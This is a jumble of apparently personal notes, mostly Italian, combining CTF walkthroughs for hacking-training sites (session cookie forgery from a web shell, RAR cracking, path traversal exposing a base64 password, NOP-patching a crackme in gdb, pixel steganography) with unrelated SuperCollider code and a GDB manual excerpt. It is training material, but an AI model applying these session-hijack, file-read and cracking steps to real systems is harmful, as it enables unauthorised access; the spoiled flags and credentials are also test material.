 80484d3: 3c 78                 cmp    $0x78,%al

 80484d5: 74 07                 je     80484de <__isoc99_scanf@plt+0x16e>

 80484d7: b8 00 00 00 00        mov    $0x0,%eax

 80484dc: eb 17                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484de: 0f b6 05 23 a0 04 08  movzbl 0x804a023,%eax

 80484e5: 3c dd                 cmp    $0xdd,%al

 80484e7: 74 07                 je     80484f0 <__isoc99_scanf@plt+0x180>

 80484e9: b8 00 00 00 00        mov    $0x0,%eax

 80484ee: eb 05                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484f0: b8 01 00 00 00        mov    $0x1,%eax

 80484f5: 5d                    pop    %ebp



 80484f6: c3                    ret
































la prima cosa da fare è identificare la url della shell; utilizzando le lettere in evidenza nella home abbiamo
reps

quindi : http://canyouhack.it/Content/Challenges/Realistic/1/reps
e abbiamo la shell

con il comando help abbiamo i comandi a disposizione;

in /var/log/httpd/ troviamo il log access.log dell'apache
qui possiamo identificare

lo user-agent : pt4t1x
la url /index.php?reps

fatto questo nella cartella /tmp/
abbiamo i file di sessione, leggento il file txt :


cat /tmp/sess_readme.txt

# sessions are stored temporary in this folder.
# each session will be valid for 1 hour except
# if the user is still online.

quindi dobbiamo prendere questo :

-rwx------ ptatix ptatix 99 date sess_d913bf7597b57e8b49363932354adf53

per creare il cookie :


session=d913bf7597b57e8b49363932354adf53; __ctmz=ptatix%3B/home/ptatix
User Agent: pt4t1x

creando il cookie e andando alla url /index.php?reps abbiamo una form di login e un file
keeppass.rar

per prendere il file bisogna sempre andare alla url con il cookie modificato,
il file rar si cracca facilmente con rarcrack, la password è px

nel file passlist.txt
abbiamo :

ptatix/CorrectHorseBatteryStrapple?

per la form di login di prima;

Congratulations! The solution for this mission is: P-t4t1x_1s_4_n00b
































cercando nel box di ricerca :
http://www.thisislegal.com/nc/adm/srch/?s=asdsadsda

ispezionando 
http://www.thisislegal.com/nc/adm/

abbiamo una login, provando a inserire username/password a caso, abbiamo un messaggio di errore che fa riferimento a un ipotetico file login.pwd

nel menù products, cliccando su un server e poi su un immagine, abbiamo il file i.php

http://www.thisislegal.com/nc/i.php?img=adm/login.pwd
abbiamo username e password con la password in base64

admin:aWFta2luZzEyMw==




















Circumventing the crackme’s protection
Patching this crackme is very ease because it has only one conditional jump that
locks us out if we entered the wrong password:

80484b2:     75 12      jne   80484c7 <main+0x76>

If we remove this conditional jump from the program, it will display the message
regardless of the entered password. We can do this by patching the program at
0x80484b2 and 0x80484b3:
(gdb)
(gdb)
(gdb)
(gdb)
set write on
exec-file crackme
set {char} 0x80484b2 = 0x90
set {char} 0x80484b3 = 0x90
After this small patch, we should be able to enter everything we want as the
password and always get the ”good boy” message:
png@silver:~/crackmes/crackme_01$ ./crackme
-[ Linux CrackMe (Level:2) by cyrex ]-
-[ TODO: You have to get the valid Password ]-
Enter Password: lala
-[ Good, You’re ready to begin linux reversing ]-
Bingo, it worked :-)

























nell'angolo in basso a sinistra ci sono i pixel blu, croppando la prima immagine e creandone un altra .bmp con solo i pixel blu si riesce attraverso hexedit a leggere la password codificata attraverso i valori B (RGB) dei vari pixel e convertendoli in ASCII;

 ..........................T...h.
 ..e... ...p...a...s...s...w...o.
 ..r...d... ...i...s... ...5...3.
 ..D...4...g...d...4...



















s = Server.default.boot;

// create a new analyzer

FreqScope.new(400, 200, 0, server: s);

(
{
var carrier, modulator, carrfreq, modfreq;
carrfreq= MouseX.kr(440,5000,'exponential');
modfreq= MouseY.kr(1,5000,'exponential');
carrier= SinOsc.ar(carrfreq,0,0.5);
modulator= SinOsc.ar(modfreq,0,0.5);
carrier*modulator;
}.scope
)













































25.4 TUI-specific Commands



The TUI has specific commands to control the text windows. These commands



are always available, even when GDB is not in the TUI mode. When GDB is in



the standard mode, most of these commands will automatically switch to



the TUI mode.



Note that if GDB’s stdout is not connected to a terminal, or GDB has been



started with the machine interface interpreter (see The GDB/MI Interface),



most of these commands will fail with an error, because it would not be



possible or desirable to enable curses window management.



info win



List and give the size of all displayed windows.



layout next



Display the next layout.



layout prev



Display the previous layout.



layout src



Display the source window only.



layout asm



Display the assembly window only.



layout split



Display the source and assembly window.



layout regs



Display the register window together with the source or assembly window.



focus next



Make the next window active for scrolling.



focus prev



Make the previous window active for scrolling.



focus src



Make the source window active for scrolling.



focus asm



Make the assembly window active for scrolling.



focus regs



Make the register window active for scrolling.



focus cmd



Make the command window active for scrolling.



refresh



Refresh the screen. This is similar to typing C-L.



tui reg float



Show the floating point registers in the register window.



tui reg general



Show the general registers in the register window.



tui reg next



Show the next register group. The list of register groups as well as their



order is target specific. The predefined register groups are the following:



general, float, system, vector, all, save, restore.



tui reg system



Show the system registers in the register window.



update



Update the source window and the current execution point.



winheight name +count



winheight name -count



Change the height of the window name by count lines. Positive counts increase



the height, while negative counts decrease it.



tabset nchars



Set the width of tab stops to be nchars characters.